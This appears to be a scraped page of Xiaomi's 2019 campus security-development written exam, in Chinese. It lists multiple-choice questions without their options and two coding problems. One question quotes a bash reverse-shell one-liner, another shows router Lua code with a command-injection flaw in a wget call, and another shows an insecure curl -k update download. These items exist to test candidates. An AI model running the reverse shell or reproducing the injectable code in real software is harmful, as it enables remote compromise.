小米2019秋招安全开发笔试题(A)

时长:120分钟 总分:100分

271浏览 0人已完成答题

题型介绍
题型 单选题 多选题 填空题
数量 10 10 2
1.
关于数字签名说法错误的是
问题详情




2.
CORS的作用是?
问题详情




3.
下面关于AJAX说法正确的是?
问题详情




4.
MD5是?()
问题详情




5.
在 Linux 中,将文件属性设置为所有者只读,其余无任何权限的命令为(假设文件名为 myfile)
问题详情




6.
以下哪个方法不能实现对系统网络外连行为的监控
问题详情




7.
在 Linux 文件系统权限中(rwx),只读权限对应的数值为()
问题详情




8.
设备升级过程中使用了 "curl https://ota.a.com/up...
问题详情

设备升级过程中使用了 "curl https://ota.a.com/update.bin -k -o /tmp/update.bin" 命令获取升级包,下列说法正确的是?




9.
下面这段代码会造成什么问题? function upgradeRom()...
问题详情

下面这段代码会造成什么问题?
function upgradeRom()
    local XQFunction = require("xiaoqiang.common.XQFunction")
    local XQSysUtil = require("xiaoqiang.util.XQSysUtil")
    local url = LuciHttp.formvalue("url")
    url = url:gsub("'", "")
    if url
        XQFunction.forkExec(string.format("wget '%s'", url))
    else
        XQFunction.forkExec("/usr/sbin/crontab_rom.sh")
    end
end





10.
Linux的可执行文件开头的特征字符串是什么
问题详情




11.
以下说法错误的是()
问题详情




12.
cookie的基础属性有哪些?
问题详情





13.
下面有那些技术是在https应用到的?
问题详情




14.
使用下面那种方式可以产生跨域攻击?
问题详情




15.
以下哪些方式被认为是DDOS攻击()
问题详情




16.
关于SYNFlood攻击,以下说法正确的是()
问题详情




17.
关于这条命令,说法正确的是 bash -i >& /dev/...
问题详情

关于这条命令,说法正确的是
bash -i >& /dev/tcp/192.168.1.2/8080 0>&1





18.
下面哪些命令和工具对 firmware 分析有帮助?
问题详情




19.
哪些是常用的逆向分析工具?()
问题详情




20.
以下哪些属于缓冲区溢出保护机制?()
问题详情





21.
ipv4地址白名单
问题详情

我们的小齐同学是一名很辛苦的实习DBA,他每天的工作就是为一个帐号添加授权,今天给这200个ipv4添加授权,明天又要把这200个授权删掉,有一天小齐同学在删除授权的时候不小心把所有的授权都删了,被领导很批了一顿。痛定思痛,小齐同学开始反思他每天的工作,发现无非就是我每天要让那些ip访问数据库而已,他决定写一个效率很高的ip白名单,请帮小齐同学说一下实现思路,并用结构化编程语言(c/c++/python/golang/java等)写一个ip白名单吧,他需要这个白名单有添加ip的功能,删除ip的功能,查找这个ip在不在白名单中,以及打印白名单中的内容,以上四个功能中查找ip是否在白名单中效率一定要高。并帮小齐分析一下各个功能的时间复杂度,写的好小齐同学会请你吃饭哦。 输入描述: 每行一条输入,格式为 type:ip
type 包括 i d s 分别表示添加,删除,查找
以 end 结尾
输入最多不超过100000行输入样例: i:127.0.0.1 i:10.0.0.1 s:10.0.0.1 d:10.0.0.1 s:10.0.0.1 s:127.0.0.1 end 输出描述: 输出每行一条对应输入
如果是查找,成功请打印true,失败请打印false
如果是添加删除,请打印ok输出样例 ok ok true ok false true
22.
比赛名次
问题详情

有N个比赛队(1<=N<=500),编号依次为1,2,3,。。。。,N进行比赛,比赛结束后,裁判委员会要将所有参赛队伍从前往后依次排名,但现在裁判委员会不能直接获得每个队的比赛成绩,只知道每场比赛的结果,即P1赢P2,用P1,P2表示,排名时P1在P2之前。现在请你编程序确定排名。 输入描述: 输入有若干组,每组中的第一行为二个数N(1<=N<=500),M;其中N表示队伍的个数,M表示接着有M行的输入数据。接下来的M行数据中,每行也有两个整数P1,P2表示即P1队赢了P2队。输入样例: 4 3 1 2 2 3 4 3 输出描述: 给出一个符合要求的排名。输出时队伍号之间有空格,最后一名后面没有空格。
其他说明:符合条件的排名可能不是唯一的,此时要求输出时编号小的队伍在前;输入数据保证是正确的,即输入数据确保一定能有一个符合要求的排名。输出样例 1 2 4 3